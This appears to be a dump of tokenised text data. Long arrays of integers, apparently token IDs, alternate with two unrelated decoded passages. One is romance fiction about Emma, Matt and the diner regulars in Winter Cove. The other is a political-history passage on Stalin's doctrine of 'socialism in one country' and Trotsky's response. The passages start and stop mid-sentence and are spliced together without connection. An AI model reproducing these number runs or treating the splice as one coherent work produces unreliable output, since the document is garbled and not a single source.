3331, 342, 8943, 15555, 15, 346, 8639, 344, 4395, 1060, 13, 3972, 2205, 14373, 347, 271, 9165, 26540, 387, 581, 273, 731, 18612, 21440, 689, 407, 16590, 3645, 449, 187, 187, 3, 3220, 2656, 13, 2139, 1904, 626, 3780, 1060, 871, 326, 865, 25975, 2546, 15, 346, 8917, 368, 2455, 1333, 2712, 281, 619, 3101, 865, 187, 187, 3, 2302, 878, 281, 937, 3972, 2205, 753, 15, 346, 51, 6859, 285, 5037, 3260, 752, 597, 497, 2509, 15, 1244, 368, 497, 2509, 816, 4030, 1293, 479, 30809, 449, 754, 37432, 8042, 314, 387, 253, 11624, 15, 346, 4015, 505, 368, 497, 7357, 368, 1339, 12429, 755, 247, 7046, 3627, 275, 521, 1133, 449, 187, 187, 11223, 785, 434, 2564, 369, 364, 35042, 15, 346, 17304, 368, 320, 3255, 1500, 11898, 617, 1481, 15, 346, 4527, 2282, 417, 15, 733, 434, 247, 19082, 2934, 449, 187, 187, 13804, 2205, 12258, 617, 342, 247, 14338, 2048, 15, 346, 2302, 2934, 434, 19082, 15, 3808, 816, 878, 247, 1652, 4030, 14, 85, 25004, 449, 187, 187, 3, 42, 1871, 452, 281, 2312, 352, 689, 342, 619, 3101, 13, 533, 651, 368, 1908, 36456, 275, 1060, 629, 14, 2606, 2378, 21130, 4566, 896, 281, 2143, 32, 309, 5545, 359, 812, 2075, 1199, 449, 187, 187, 13804, 2205, 30443, 15, 346, 11778, 619, 24626, 670, 326, 13, 1512, 13, 533, 253, 5083, 310, 326, 309, 1849, 9829, 1907, 247, 9539, 273, 12633, 281, 4417, 323, 15, 1422, 1158, 634, 2243, 651, 1339, 479, 1611, 562, 247, 1643, 747, 20247, 32, 29961, 1633, 342, 14354, 253, 643, 1388, 326, 1160, 619, 6208, 1824, 15, 1621, 1127, 275, 2403, 1633, 751, 326, 816, 323, 479, 15, 1244, 309, 1833, 320, 277, 1596, 264, 604, 309, 1833, 755, 7028, 969, 816, 281, 452, 3095, 1475, 665, 6373, 28032, 619, 12398, 449, 187, 187, 11223, 785, 12918, 15, 346, 4013, 13, 4754, 15, 309, 1158, 368, 816, 753, 253, 10721, 3159, 15, 34471, 434, 1620, 3531, 1066, 2712, 14354, 275, 617, 2862, 1495, 15, 844, 1849, 1620, 574, 247, 18612, 27519, 8910, 13, 533, 309, 1833, 701, 352, 651, 789, 342, 512, 253, 747, 340, 1135, 447, 275, 253, 9168, 15, 1310, 34471, 18726, 13, 359, 812, 3297, 1527, 1996, 15, 844, 1871, 320, 253, 1659, 281, 564, 323, 8574, 285, 27519, 449, 187, 187, 3, 4497, 13, 840, 13, 368, 767, 2312, 352, 689, 285, 840, 359, 1833, 1790, 1066, 285, 923, 752, 359, 476, 513, 937, 3972, 2205, 753, 15, 346, 42, 8564, 309, 1849, 1335, 1694, 247, 1643, 1175, 1107, 273, 12398, 1669, 275, 479, 449, 187, 187, 11223, 785, 18274, 689, 285, 1607, 7228, 1242, 23846, 247, 10135, 327, 521, 4829, 37566, 1481, 15, 346, 42, 1158, 309, 2389, 368, 13, 3972, 2205, 21571, 15, 1244, 275, 1083, 309, 6468, 626, 753, 352, 1078, 13, 5717, 368, 323, 268, 6856, 1475, 7357, 368, 1119, 326, 3522, 1984, 449, 187, 187, 13804, 2205, 434, 2927, 3531, 1014, 32950, 15, 346, 5872, 352, 858, 1361, 865, 187, 187, 2993, 11522, 15, 346, 1147, 858, 449, 187, 187, 3, 2773, 434, 512, 326, 8213, 937, 344, 753, 15, 187, 187, 2993, 12258, 779, 342, 9326, 15, 346, 1394, 1053, 626, 971, 281, 871, 752, 4592, 865, 187, 187, 3, 4497, 13, 273, 2282, 13, 359, 513, 937, 443, 12424, 753, 1071, 1031, 13, 840, 4541, 2879, 13, 346, 2858, 359, 1472, 417, 13647, 90, 449, 187, 187, 11223, 785, 12918, 387, 326, 13, 840, 2427, 896, 281, 2619, 598, 625, 7367, 432, 253, 32257, 15, 1500, 30443, 672, 703, 3047, 253, 2739, 327, 253, 10855, 15, 346, 1394, 871, 13, 352, 434, 2970, 247, 1652, 1892, 323, 479, 281, 2028, 665, 841, 7367, 5663, 281, 937, 703, 716, 833, 12429, 15, 346, 3726, 512, 1007, 19605, 449, 187, 187, 1328, 660, 319, 1070, 387, 617, 15, 346, 1394, 971, 281, 5454, 5053, 865, 187, 187, 3, 2302, 937, 2067, 273, 253, 6383, 387, 253, 4828, 753, 275, 247, 35397, 15, 187, 187, 11223, 785, 12258, 731, 342, 9326, 15, 346, 1394, 1871, 2581, 452, 779, 12398, 13, 685, 479, 865, 187, 187, 3, 7093, 2739, 1537, 320, 271, 7756, 937, 18827, 11328, 30245, 15, 346, 1989, 253, 1390, 673, 12429, 574, 247, 7691, 453, 554, 302, 275, 521, 1133, 13, 344, 2210, 2810, 281, 653, 3867, 352, 512, 689, 479, 15, 309, 476, 6008, 11624, 326, 403, 1892, 347, 17023, 13, 533, 309, 16326, 626, 6110, 275, 1146, 9171, 4861, 407, 3511, 5558, 449, 187, 187, 3, 27970, 1060, 937, 2067, 2571, 19114, 264, 275, 15, 187, 187, 29823, 29550, 387, 731, 15, 346, 34766, 670, 440, 737, 366, 1020, 449, 187, 187, 11223, 785, 6225, 627, 11298, 281, 253, 407, 1993, 285, 3543, 1633, 11990, 3304, 617, 15, 1500, 3589, 626, 3240, 4704, 281, 11476, 352, 2568, 13, 417, 281, 5972, 13, 285, 7964, 417, 281, 12429, 13, 533, 436, 1663, 369, 1728, 13, 285, 703, 369, 5068, 281, 4282, 2139, 327, 6149, 703, 1871, 13762, 5972, 326, 703, 20651, 667, 5070, 2010, 15, 1500, 254, 32864, 1255, 13, 954, 2779, 15, 733, 369, 2568, 1529, 18177, 703, 1871, 574, 275, 1846, 342, 617, 3392, 15, 4952, 347, 253, 1869, 13405, 617, 2564, 13, 703, 8156, 342, 247, 6966, 326, 4680, 670, 617, 3392, 1904, 626, 1056, 617, 1928, 3240, 594, 8872, 15, 8948, 253, 19952, 497, 13255, 387, 1048, 1390, 15, 187, 187, 27656, 369, 4720, 2970, 562, 273, 253, 4675, 3063, 13, 285, 352, 4571, 626, 320, 3517, 2217, 323, 779, 390, 323, 35503, 15, 1500, 11898, 617, 1481, 347, 344, 19375, 670, 3253, 432, 253, 3638, 4996, 16723, 407, 253, 4750, 281, 253, 2739, 15, 187, 187, 3, 42, 971, 281, 755, 562, 273, 1060, 937, 344, 650, 16630, 2568, 969, 15, 187, 187, 3, 1909, 3517, 347, 253, 7345, 7871, 253, 3727, 9380, 13, 359, 1472, 1469, 937, 703, 17328, 779, 15, 187, 187, 3, 4497, 13, 352, 1912, 626, 320, 3517, 2217, 323, 479, 449, 187, 187, 3, 2598, 309, 13037, 937, 703, 753, 259, 610, 314, 13, 1014, 347, 703, 3534, 521, 1133, 247, 3158, 29684, 15, 187, 187, 6300, 840, 703, 3047, 2398, 18762, 6306, 16063, 5954, 275, 253, 27084, 15, 1500, 1871, 644, 3551, 407, 247, 2257, 13, 533, 352, 4455, 281, 35503, 326, 9069, 574, 644, 1679, 285, 1679, 15211, 281, 923, 617, 15, 3032, 44915, 574, 4518, 644, 5165 ]	into the waiting room, his gaze immediately going to Emma. "Are you sure you haven't found something here that's more important?" Emma didn't answer, but she smiled at Matt when he sat beside her and put his arm around her shoulder. My God, Rosa thought, those two were so in love, it made her heart ache. If only there were some way to make Emma admit it before it was too late. Tomorrow, she thought wearily. She would worry about that tomorrow. Tonight she had just enough strength left to pray for Jeff's full recovery. ## 22 Emma could have slept for a week, but instead, she intended to open the diner right on time at 6:00 a.m. at her mother's insistence. She knew it had to be done. In fact, she knew better than anyone how critical every dollar was these days, but she would have given anything for even an hour in bed after spending most of the night at the hospital. An icy shower helped to revive her, but it was the sight of Matt waiting for her in the driveway that made her pulse sing. He hadn't left her side all night. When he'd brought her by the house earlier to change clothes, he'd said he would be back and he was, despite her argument that he needed sleep. She could count on him to do exactly what he said he'd do. His reliability was something she'd come to prize, to say nothing of the way his touches could inflame her. She'd been trying hard not to dwell on that. It got in the way of doing what she knew she had to do. "I told you to stay home and get some sleep," she scolded, even as she got into the front seat of his car. She had to fight not to lean back against the cushions and close her eyes. If she fell asleep now, she'd sleep for a month. "I told you the same thing. Guess we're both stubborn," he said mildly. "I knew you'd insist on Andy staying home. Somebody has to help out at the grill. You can't do it all." "I could have managed," she insisted. "But now you don't have to." She gave him a grateful look. "Thank you." "Anytime, sweetheart. You know that." She did. Even when she'd been furious with him for not telling her he'd been involved with Jennifer, she had known that he would never in a million years let her down. Not really. "I spoke to your mom a few minutes ago," he told her. "She says Jeff is doing better. He's more alert this morning and they're bringing him breakfast in a few minutes." "Thank God for Helen, Sylvia and Jolie. They haven't left her side for a minute." "That's what friends do," Matt said. "Especially in a town like Winter Cove." Emma looked at him and knew that she'd found the same steadiness in him, and so much more. "I know," she said softly. "You taught me that." For a minute it looked as if he might press the subject, but then they were at the diner and there were a million and one things to do to be ready for the breakfast rush. She was relieved not to have to deal with all the questions he was bound to have about their future. He deserved answers, even to the unspoken questions, but she knew he wasn't going to like them and she dreaded making him unhappy. Thankfully, she had little time to worry about it. Every customer who came through the door that morning seemed to have heard about Jeff, yet not a one of them said anything judgmental. Emma wanted to cry at the concern they expressed. Even Gabe and Harley in their own gruff way tried to help. "You need me at the grill, I suppose I can make eggs as good as Matt's," Gabe said, looking at the scrambled mess that had been made of his over-lightly order. Emma laughed. "I'll keep that in mind." "It's not like we come here just for the food," Harley added. "This place is home and you guys are family. I could make a big pot of gazpacho for lunch. Some cold soup might be just the thing on a steamy day like this." Emma stared at him as if he'd just spoken in Swahili. "You can make gazpacho?" "And a lot more," Gabe told her, regarding his friend with evident pride. "Before he moved here, Harley retired as an executive chef at one of them fancy hotels over by Disney World." "My God, why didn't anyone here know that?" Emma asked. "Did you ever say anything to my mother?" "No need to," Harley said. "Rosa and Don knew what they were doing. And you were doing just fine without me interfering." He gazed pointedly at the eggs. "Least you were till you let Matt get a spatula in his hand." Emma's mind was whirling. "Would you be..." She shook her head. "Of course not. It's a ridiculous idea." Harley regarded her with a curious expression. "No idea's ridiculous. Some just need a little fine-tuning." "I'd have to talk it over with my mother, but would you consider pitching in here part-time once Andy goes back to school? I doubt we could pay much." Harley grinned. "Have my doubts about that, too, but the truth is that I've missed having a crowd of folks to cook for. You think your mom would let me try out a few new recipes? Saw something with chocolate the other day that made my mouth water. No point in making something like that just for me. And I'll be darned if I'll get married again just to have someone around who appreciates my cooking." Emma laughed. "Oh, yes. I think you just said the magic word. Mama's never turned down anything chocolate in her entire life. We've never had a fancy dessert menu, but I'll bet it would work with all the new yuppies in the neighborhood. If Mama agrees, we could stay open later. We'd be the place to go for coffee and dessert." "Well, then, you two talk it over and then we'll sit down and see what we can do," Harley said. "I imagine I've still got a few good years of cooking left in me." Emma leaned over and impulsively planted a kiss on his nearly bald head. "I think I love you, Harley Watson. And in case I haven't said it before, thank you for poking around till you found that date book." Harley's eyes turned even brighter. "Then it did help?" She nodded. "It did." "That's all that matters," he said. She regarded him with surprise. "You don't want to know what happened?" "Well, of course, we do," Gabe said testily, then quickly added, "but we're not nosy." Emma laughed at that, then went back to pick up more orders from the grill. She grinned when she saw the food on the plates. "You know, it's getting a little hard for me to tell who these orders belong to," she teased Matt. "They all look alike." He scowled at her. "You want to trade places?" "No," several of the customers at the counter said in a chorus. Emma regarded them with surprise. "You'd rather have him cooking, than me?" "Your food might be an improvement," Jess Davis conceded. "But the last time Matt had a coffeepot in his hand, he came close to spilling it all over me. I can eat eggs that are hard as rubber, but I ain't interested in being scalded by hot liquid." "Same here," several others chimed in. Matt frowned at them. "Talk about ungrateful." Emma stood there listening to the byplay and felt something ease inside her. She wasn't quite ready to admit it yet, not to herself, and definitely not to Matt, but this really was home, and she was beginning to wonder why on earth she'd convinced herself that she belonged anyplace else. Sheer stubbornness, most likely. It was yet another trait she'd had in common with her father. Even as the thought crossed her mind, she realized with a shock that thinking about her father didn't make her feel quite so sad. Maybe the wounds were healing at long last. Jeff was finally getting out of the hospital today, and it couldn't be soon enough for him or for Rosa. She shook her head as he complained about everything from the constant intrusions by the staff to the food. "I want to get out of here," he grumbled yet again. "As soon as the doctor signs the release papers, we're going," she reminded him. "Well, it won't be soon enough for me." "So I gathered," she said wryly, even as she gave his hand a quick squeeze. Just then she saw Marisol standing hesitantly in the doorway. She'd been coming by a lot, but it seemed to Rosa that Jeff had been less and less eager to see her. His reluctance had clearly been apparent
[ 2586, 275, 534, 1014, 253, 5044, 2436, 1005, 313, 4064, 2739, 285, 14234, 281, 12524, 8039, 10, 497, 14999, 323, 23499, 9790, 13, 1223, 597, 4127, 3746, 342, 3033, 1417, 42548, 13, 686, 35861, 281, 616, 3198, 8, 313, 263, 13, 2581, 13, 38754, 5605, 10, 407, 4758, 598, 271, 21184, 2990, 273, 2714, 16999, 13, 18997, 13319, 48520, 13, 16121, 22237, 2510, 13, 277, 607, 284, 13, 3966, 15, 3308, 13, 417, 760, 686, 21637, 1204, 8, 533, 1014, 686, 11713, 1204, 8, 574, 2168, 7244, 13, 323, 731, 15, 380, 14842, 262, 528, 3885, 342, 534, 387, 253, 673, 273, 253, 12194, 985, 434, 3898, 25429, 253, 1072, 686, 21637, 382, 7038, 8, 574, 28729, 253, 7442, 272, 9241, 273, 33712, 686, 16532, 5948, 1383, 812, 760, 6583, 326, 253, 3290, 5667, 323, 6498, 253, 38245, 275, 16074, 528, 5347, 985, 275, 667, 581, 273, 697, 17887, 19112, 13, 1223, 34452, 326, 3253, 310, 2218, 275, 253, 1600, 273, 253, 4633, 11843, 13, 310, 3033, 1417, 31970, 36106, 15, 187, 187, 3404, 253, 673, 273, 521, 33927, 275, 1219, 785, 329, 893, 13, 275, 31751, 13, 17798, 1641, 4742, 1128, 23350, 11525, 281, 8107, 253, 9058, 273, 29161, 382, 23241, 1561, 253, 22356, 5625, 1128, 85, 2200, 281, 1691, 253, 1924, 273, 10527, 27155, 4951, 275, 247, 29745, 9713, 281, 253, 25164, 5759, 273, 253, 1176, 25335, 15, 6166, 1676, 1598, 13, 436, 29745, 369, 16013, 407, 29161, 984, 17798, 1641, 4742, 574, 8042, 562, 253, 3426, 1140, 5410, 90, 273, 49444, 434, 1899, 275, 253, 2282, 273, 253, 40132, 27155, 407, 29161, 13, 1690, 253, 7345, 272, 273, 521, 1211, 6849, 2918, 275, 253, 2469, 27, 187, 187, 688, 32921, 29161, 18627, 49444, 434, 6849, 327, 253, 3652, 273, 38384, 347, 3637, 27, 187, 187, 8, 510, 47743, 273, 253, 1612, 273, 253, 39201, 466, 285, 253, 13701, 273, 247, 354, 1059, 6656, 2208, 275, 581, 2586, 1057, 417, 2568, 12215, 253, 3426, 10170, 273, 38384, 15, 380, 2022, 4836, 273, 38384, 1128, 783, 6003, 273, 30177, 3275, 1128, 23350, 4558, 6386, 15, 2615, 436, 4836, 320, 14123, 13, 476, 253, 2457, 10170, 273, 38384, 275, 581, 2586, 320, 26553, 13, 1293, 253, 6036, 6031, 273, 253, 354, 1059, 33325, 273, 2067, 7269, 4343, 32, 795, 2302, 13, 436, 310, 7479, 4414, 1916, 47743, 253, 39201, 466, 13, 253, 6031, 273, 581, 2586, 403, 4209, 1128, 783, 2892, 273, 776, 10532, 17267, 436, 562, 15, 1198, 253, 2457, 10170, 273, 38384, 13, 323, 253, 6003, 273, 30177, 3275, 13, 253, 6031, 273, 581, 2586, 13, 3782, 273, 824, 247, 41207, 2586, 347, 7422, 403, 12497, 15, 1198, 436, 253, 6031, 273, 253, 354, 1059, 19222, 273, 2067, 7269, 4343, 403, 3309, 15, 6102, 13, 327, 253, 2644, 13, 403, 253, 8847, 3386, 273, 253, 49444, 382, 3762, 273, 253, 354, 1059, 6656, 10532, 2464, 187, 187, 4041, 1364, 46272, 326, 253, 686, 17932, 2531, 3386, 273, 253, 49444, 382, 3762, 8, 403, 18627, 1060, 3240, 9113, 15, 496, 253, 1996, 34081, 273, 29161, 434, 1984, 436, 10056, 369, 12059, 281, 1239, 275, 816, 253, 7285, 1039, 15, 544, 23135, 62, 29161, 753, 275, 4596, 33554, 27, 187, 187, 8, 510, 3128, 1900, 2335, 347, 697, 4983, 1127, 253, 2934, 326, 253, 10170, 273, 38384, 275, 581, 2586, 2097, 253, 6387, 281, 1973, 38384, 275, 326, 2586, 13, 285, 436, 4836, 476, 320, 14123, 342, 253, 5621, 273, 247, 2014, 2586, 2464, 187, 187, 1231, 2168, 871, 326, 253, 3128, 1620, 2335, 436, 347, 697, 4983, 1127, 15, 1623, 253, 10214, 13, 686, 249, 1142, 273, 776, 2987, 13, 275, 512, 776, 31537, 13, 285, 275, 776, 2862, 2315, 1383, 347, 49444, 753, 13, 253, 3128, 20311, 432, 253, 7285, 1899, 13, 534, 1119, 697, 4585, 2048, 275, 253, 2086, 273, 253, 330, 15, 49, 15, 52, 15, 54, 15, 187, 187, 510, 29161, 382, 26450, 1063, 79, 1920, 14436, 327, 32027, 13102, 285, 275, 4162, 31610, 29161, 2797, 3565, 9612, 323, 253, 12791, 273, 686, 21637, 1204, 275, 581, 2586, 8, 387, 253, 1740, 16565, 8059, 273, 253, 3128, 15, 4794, 281, 29222, 23441, 1026, 379, 686, 53, 30353, 4742, 858, 417, 5691, 253, 4370, 785, 1919, 33554, 13, 672, 352, 574, 2168, 12103, 4618, 14924, 5983, 23441, 1026, 379, 5544, 29161, 434, 34587, 989, 10170, 275, 436, 1039, 27, 686, 510, 7777, 26183, 4735, 273, 7247, 5948, 275, 253, 2500, 47798, 369, 697, 40484, 323, 7882, 13, 247, 40484, 534, 369, 760, 3626, 846, 697, 3332, 8450, 15, 380, 2852, 574, 1652, 7882, 275, 4657, 323, 667, 2586, 13, 533, 1878, 273, 512, 323, 7422, 15, 9110, 253, 8327, 387, 1878, 323, 247, 1048, 13, 1077, 1048, 13, 1183, 614, 432, 29198, 33372, 2108, 2210, 281, 320, 253, 11360, 23778, 273, 7247, 8672, 15, 8404, 1204, 275, 581, 2586, 13, 347, 352, 369, 18236, 12814, 1919, 253, 3563, 2500, 47798, 13, 2918, 562, 253, 9023, 273, 7882, 15, 1623, 253, 643, 1133, 13, 253, 1077, 1416, 273, 17798, 1641, 4742, 434, 3762, 13, 686, 468, 1342, 290, 10532, 1383, 17132, 751, 271, 45672, 528, 9734, 281, 247, 11870, 5978, 326, 352, 943, 1902, 642, 20000, 285, 3277, 2880, 275, 697, 12702, 2464, 4129, 352, 310, 2032, 326, 275, 253, 31233, 689, 253, 2523, 29161, 434, 686, 303, 8613, 4096, 369, 281, 1262, 12289, 17798, 1641, 4742, 285, 281, 5276, 323, 253, 795, 79, 394, 64, 673, 326, 17798, 1641, 4742, 369, 642, 49444, 382, 1383, 29161, 812, 671, 897, 521, 12791, 347, 253, 10527, 22861, 285, 17927, 14, 18378, 249, 382, 10972, 14508, 273, 521, 3646, 273, 6726, 4822, 400, 1320, 15, 1198, 344, 812, 1750, 326, 253, 686, 24210, 273, 38384, 8, 281, 253, 2586, 14, 2189, 949, 4822, 400, 1320, 574, 1691, 271, 990, 281, 253, 5434, 273, 686, 795, 6795, 28673, 557, 32375, 285, 557, 25590, 13, 285, 38817, 14, 7390, 33488, 801, 2865, 47890, 64, 686, 1411, 534, 49444, 17132, 253, 20942, 15212, 1840, 15, 496, 5083, 13, 2299, 13, 29161, 434, 3646, 4269, 24878, 4723, 281, 253, 2586, 434, 17340, 2440, 1128, 1439, 281, 3748, 697, 1966, 4815, 1128, 4064, 534, 253, 7247, 6982, 812, 417, 4751, 9295, 1014, 281, 253, 1246, 1388, 15, 187, 187, 510, 31970, 36106, 342, 534, 253, 12791, 273, 686, 21637, 1204, 275, 581, 2586, 8, 369, 4127, 407, 253, 10362, 3569, 17832, 811, 24875, 275, 253, 16072, 17798, 1641, 4742, 574, 275, 33554, 275, 12911, 1128, 9453, 344, 574, 281, 6947, 690, 673, 627, 323, 3739, 1971, 1128, 3113, 36362, 657, 1662, 66, 15, 1284, 23441, 1026, 379, 17602, 352, 27, 187, 187, 6175, 344, 11791, 387, 253, 12911, 34202, 13, 17798, 1641, 4742, 5262, 1142, 3038, 275, 11985, 342, 611, 1120, 26495, 13, 253, 34358, 13, 285, 444, 15, 657, 1662, 66, 13, 253, 1176, 25335, 434, 4283, 35796, 15, 380, 2256, 273, 521, 11985, 342, 657, 1662, 66, 369, 38384, 275, 247, 2014, 2586, 15, 657, 1662, 66, 8176, 326, 347, 271, 5054, 3762, 29161, 434, 12791, 369, 40790, 13, 326, 38384, 275, 581, 2586, 369, 5497, 790, 73, 460, 13, 533, 326, 352, 369, 17837, 23075, 4217, 347, 247, 43387, 7032, 273, 29853, 253, 19265, 11843, 15, 4568, 1573, 253, 5955, 275, 521, 3055, 9380, 13, 17798, 1641, 4742, 25995, 273, 657, 1662, 66, 326, 344, 369, 686, 783, 3130, 251, 3750, 273, 253, 1176, 25335, 5983, 187, 187, 14131, 13, 275, 581, 1039, 390, 1529, 13, 686, 21637, 1204, 275, 581, 2586, 8, 3395, 253, 7607, 9373, 351, 9356, 4768, 253, 5213, 33823, 4866, 15, 380, 1953, 795, 20094, 64, 253, 12194, 985, 812, 8968, 38384, 1561, 253, 8671, 30270, 285, 3569, 7792, 3395, 247, 10334, 3288, 28, 253, 760, 14905, 1953, 369, 795, 5430, 1048, 64, 352, 651, 1379, 281, 5115, 253, 38378, 285, 3426, 5502, 281, 38384, 15, 9110, 13, 1411, 1110, 665, 9125, 326, 253, 12194, 42933, 35234, 553, 812, 760, 2118, 275, 253, 3884, 273, 38384, 17798, 1641, 4742, 21198, 1996, 1128, 249, 27386, 13, 253, 807, 273, 253, 806, 1270, 921, 7587, 275, 16496, 1128, 3529, 686, 688, 6612, 247, 896, 35045, 281, 24846, 310, 21105, 1896, 5983, 1723, 13, 3738, 17798, 1641, 4742, 434, 1735, 6197, 4767, 326, 686, 34, 625, 3426, 5426, 588, 273, 15504, 320, 9542, 285, 37202, 528, 1383, 344, 858, 417, 28055, 21184, 521, 12288, 670, 253, 21105, 1896, 896, 35045, 715, 24846, 762, 253, 29161, 382, 985, 15, 754, 2427, 327, 12930, 253, 12194, 6398, 347, 247, 686, 795, 42822, 5820, 8, 1375, 64, 26848, 16764, 247, 2900, 432, 247, 3569, 10532, 949, 534, 686, 783, 5820, 651, 47743, 253, 48356, 5983, 187, 187, 4041, 273, 253, 1711, 378, 3017, 248, 6584, 661, 275, 17798, 1641, 4742, 434, 10266, 1387, 13, 6416, 416, 28101, 13456, 1128, 10002, 671, 6497, 5487, 281, 253, 29161, 382, 7075, 1128, 17932, 1025, 253, 13698, 285, 16108, 273, 616, 1387, 275, 436, 1039, 27, 686, 510, 10266, 588, 1900, 13280, 347, 581, 273, 697, 16108, 13, 347, 1411, 253, 3128, 13, 247, 15785, 534, 2717, 476, 5386, 13, 253, 958, 326, 352, 556, 13, 275, 1175, 673, 13, 17132, 253, 13965, 327, 253, 11527, 10343, 273, 253, 5968, 273, 2425, 273, 253, 2444, 5971, 13, 285, 327, 616, 3629, 36163, 4404, 253, 31776, 273, 253, 39710, 1456, 273, 253, 354, 1059, 33325, 285, 273, 253, 12194, 1375, 5983, 754, 671, 2546, 253, 1774, 3533, 27, 187, 187, 1051, 752, 556, 4592, 281, 253, 5968, 273, 22564, 2425, 273, 253, 3128, 285, 273, 776, 354, 1059, 33325, 32, 7900, 556, 616, 22564, 15952, 4783, 32, 7900, 616, 31002, 6284, 13, 616, 22564, 2193, 13, 616, 354, 1059, 6656, 15555, 452, 4783, 32, 1422, 403, 9861, 326, 627, 310, 594, 1199, 1049, 7822, 13, 14855, 13, 43283, 408, 10779, 414, 13, 3791, 1204, 285, 594, 1142, 643, 1841, 326, 309, 812, 823, 4266, 32, 1359, 310, 352, 326, 1110, 665, 452, 247, 18338, 22564, 2469, 13, 3692, 1246, 33773, 2550, 320, 2918, 275, 5545, 13, 665, 452, 1677, 4737, 273, 616, 14170, 281, 253, 10532, 327, 625, 685, 581, 8120, 13, 476, 452, 644, 13657, 715, 8483, 6051, 28090, 1832, 32, 187, 187, 6436, 13, 5747, 253, 2488, 434, 17874, 21546, 13, 253, 5482, 4081, 497, 1077, 2080, 432, 4804, 253, 5691, 285, 11038, 253, 1979, 273, 253, 3636, 3237, 15, 11243, 2096, 1598, 13, 1580, 253, 8881, 42273, 275, 253, 5028, 273, 3569, 11449, 569, 13, 342, 253, 11497, 273, 952, 665, 512, 616, 6782, 1495, 497, 3939, 347, 3569, 7038, 13, 24371, 497, 760, 47335, 2961, 275, 253, 830, 273, 11138, 253, 3082, 273, 3569, 9550, 13, 7939, 281, 253, 4836, 273, 294, 14, 23081, 839, 253, 2444, 966, 15, 416, 28101, 13456, 812, 564, 347, 2080, 347, 4073, 272, 326, 686, 262, 310, 417, 760, 247, 1953, 273, 247, 1818, 273, 11570, 533, 41005, 247, 1818, 275, 3082, 5983, 1244, 344, 2879, 27, 686, 1147, 310, 3309, 281, 294, 14, 23081, 366, 253, 2444, 11843, 285, 253, 3128, 11843, 1561, 253, 7792, 273, 253, 3128, 285, 273, 253, 5454, 21324, 15, 831, 1232, 588, 320, 1048, 285, 2834, 28, 533, 19455, 15, 733, 556, 2168, 3053, 5983, 187, 187, 1909, 359, 512, 871, 13, 5293, 273, 841, 13079, 497, 8156, 275, 253, 2282, 273, 6774, 16936, 15, 496, 253, 28978, 5907, 407, 416, 28101, 13456, 285, 521, 3858, 13, 1512, 1199, 4073, 369, 10090, 327, 253, 17715, 272, 12264, 3486, 273, 25687, 4283, 281, 25126, 9296, 1320, 13, 534, 4455, 281, 2353, 253, 1953, 15, 496, 253, 990, 253, 14876, 4242, 281, 3662, 416, 28101, 13456, 434, 954, 4623, 1953, 27, 686, 2347, 310, 352, 326, 1110, 665, 452, 247, 18338, 22564, 2469, 13, 3692, 1246, 33773, 2550, 320, 2918, 275, 5545, 13, 665, 452, 1677, 4737, 273, 616, 14170, 281, 253, 10532, 327, 625, 685, 581, 8120, 13, 476, 452, 644, 13657, 715, 8483, 6051, 28090, 1832, 5554, 15, 496, 521, 3177, 281, 5513, 253, 29548, 6741, 272, 285, 954, 557, 14387, 2980, 16936, 416, 28101, 13456, 7560, 670, 247, 686, 28445, 9827, 8, 534, 686, 9177, 556, 5611, 715, 253, 16237, 297, 273, 253, 354, 1059, 33325, 8, 285, 7945, 432, 352, 326, 686, 510, 1159, 556, 7321, 253, 21339, 3139, 28, 326, 310, 281, 1333, 326, 253, 795, 20980, 1497, 64, 273, 1110, 665, 403, 6636, 342, 253, 11117, 8892 ]	country in which even the basic necessities (from food and clothing to decent housing) were lacking for countless millions, while they treated themselves with boundless generosity, 'according to their needs' (or, rather, greedy wants) by setting up an elaborate network of special shops, luxury holiday resorts, hunting lodges, dachas, etc. Thus, not only'socialism' but even 'communism' had already arrived, for them. The precipitous speed with which at the time of the Soviet system's implosion the same'socialist leaders' had embraced the orienting principles of capitalist'market society', could only confirm that the quality essential for operating the profoundly iniquitous capital system in any one of its feasible varieties, while pretending that everything is done in the interest of the popular masses, is boundless cynicism. At the time of his exile in Alma Ata, in 1928, Trotsky—still hoping to reverse the trend of Stalinist accommodation within the Communist International—tried to put the record of theoretical debates straight in a memorandum addressed to the Sixth Congress of the Comintern. Understandably, this memorandum was suppressed by Stalin because Trotsky had pointed out the complete travesty of Lenin's position in the course of the unfolding debates by Stalin, including the doctoring of his own views held in the past: In 1924 Stalin outlined Lenin's views on the building of socialism as follows: 'The overthrow of the power of the bourgeoisie and the establishment of a proletarian government in one country does not yet guarantee the complete victory of socialism. The main task of socialism—the organization of socialist production—still remains ahead. Can this task be accomplished, can the final victory of socialism in one country be attained, without the joint efforts of the proletariat of several advanced countries? _No, this is impossible_. To overthrow the bourgeoisie, the efforts of one country are sufficient—the history of our revolution bears this out. For the final victory of socialism, for the organization of socialist production, the efforts of one country, particularly of such a peasant country as Russia are insufficient. For this the efforts of the proletarians of several advanced countries are necessary. Such, on the whole, are the characteristic features of the Leninist theory of the proletarian revolution.' One must concede that the 'characteristic features of the Leninist theory' are outlined here quite correctly. In the later editions of Stalin's book this passage was altered to read in just the opposite way. [Accordingly] Stalin said in November 1926: 'The party always took as its starting point the idea that the victory of socialism in one country means the possibility to build socialism in that country, and this task can be accomplished with the forces of a single country.' We already know that the party never took this as its starting point. On the contrary, 'in many of our works, in all our speeches, and in our entire press', as Lenin said, the party proceeded from the opposite position, which found its highest expression in the program of the C.P.S.U. The Stalinist juggernaut rolled on relentlessly and in April 1925 Stalin obtained official approval for the doctrine of'socialism in one country' at the fourteenth conference of the party. According to Isaac Deutscher 'Trotsky did not challenge the dogma until 1926, when it had already gained wide acceptance'. Deutscher explained Stalin's doctrinal victory in this way: 'The truly tragic feature of Russian society in the twenties was its longing for stability, a longing which was only natural after its recent experiences. The future had little stability in store for any country, but least of all for Russia. Yet the desire at least for a long, very long, respite from risky endeavours came to be the dominant motive of Russian politics. Socialism in one country, as it was practically interpreted until the late twenties, held out the promise of stability. On the other hand, the very name of Trotsky's theory, 'permanent revolution', sounded like an ominous warning to a tired generation that it should expect no Peace and Quiet in its lifetime.' Although it is true that in the confrontation over the issue Stalin's 'immediate purpose was to discredit Trotsky and to prove for the _nth_ time that Trotsky was no Leninist', Stalin could also use his doctrine as the theoretical justification and pseudo-Leninist legitimation of his policy of forced collectivization. For he could claim that the 'extension of socialism' to the country-side through collectivization had put an end to the danger of'_small proprietary disintegration and disorganization, and petty-bourgeois indiscipline_'against which Lenin sounded the warnings quoted above. In truth, however, Stalin's policy caused immense damage to the country's agricultural development—not to mention its human costs—from which the Russian economy could not fully recover even to the present day. The cynicism with which the doctrine of'socialism in one country' was treated by the ruling political elite transpired in the conversations Trotsky had in 1926 in Berlin—when he had to spend some 